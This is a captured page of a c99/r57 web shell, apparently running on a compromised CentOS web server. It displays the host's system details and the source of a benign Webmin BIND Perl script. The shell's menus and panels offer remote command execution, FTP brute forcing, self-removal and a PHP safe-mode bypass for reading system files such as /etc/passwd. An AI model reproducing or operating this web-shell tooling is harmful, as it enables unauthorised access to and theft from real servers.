!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/bind8/   drwxr-xr-x
Free 53.72 GB of 127.8 GB (42.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mass_rdelete.cgi (1.65 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Delete all records of some type with some name

require './bind8-lib.pl';
&ReadParse();
&error_setup($text{'umass_err'});

# Get the zones
foreach $d (split(/\0/, $in{'d'})) {
    ($zonename, $viewidx) = split(/\s+/, $d);
    $zone = &get_zone_name_or_error($zonename, $viewidx);
    $zone || &error($text{'umass_egone'});
    &can_edit_zone($zone) ||
        &error($text{'master_edelete'});
    push(@zones, $zone);
    }
$access{'ro'} && &error($text{'master_ero'});
$in{'name_def'} || $in{'name'} || &error($text{'rdmass_ename'});

# Do each one
&ui_print_unbuffered_header(undef, $text{'rdmass_title'}, "");

foreach $zi (@zones) {
    print &text('rdmass_doing', "<tt>$zi->{'name'}</tt>"),"<br>\n";
    if ($zi->{'type'} ne 'master') {
        # Skip - not a master zone
        print $text{'umass_notmaster'},"<p>\n";
        next;
        }
    $rcount = 0;
    @recs = &read_zone_file($zi->{'file'}, $zi->{'name'});
    $realfile = &make_chroot(&absolute_path($zi->{'file'}));
    foreach $r (reverse(@recs)) {
        $shortname = $r->{'name'};
        $shortname =~ s/\.$zi->{'name'}\.$//;
        $v = join(" ", @{$r->{'values'}});
        if ($r->{'type'} eq $in{'type'} &&
            ($shortname eq $in{'name'} || $in{'name_def'}) &&
            ($v eq $in{'value'} || $in{'value_def'})) {
            # Found a record to delete
            &lock_file($realfile);
            &delete_record($zi->{'file'}, $r);
            $rcount++;
            }
        }
    if ($rcount) {
        &bump_soa_record($zi->{'file'}, \@recs);
        &sign_dnssec_zone_if_key($zi, \@recs);
        print &text('rdmass_done', $rcount, scalar(@recs)),"<p>\n";
        }
    else {
        print &text('rdmass_none', scalar(@recs)),"<p>\n";
        }
    }

&unlock_all_files();
&webmin_log("rdelete", "zones", scalar(@zones));

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0088 ]--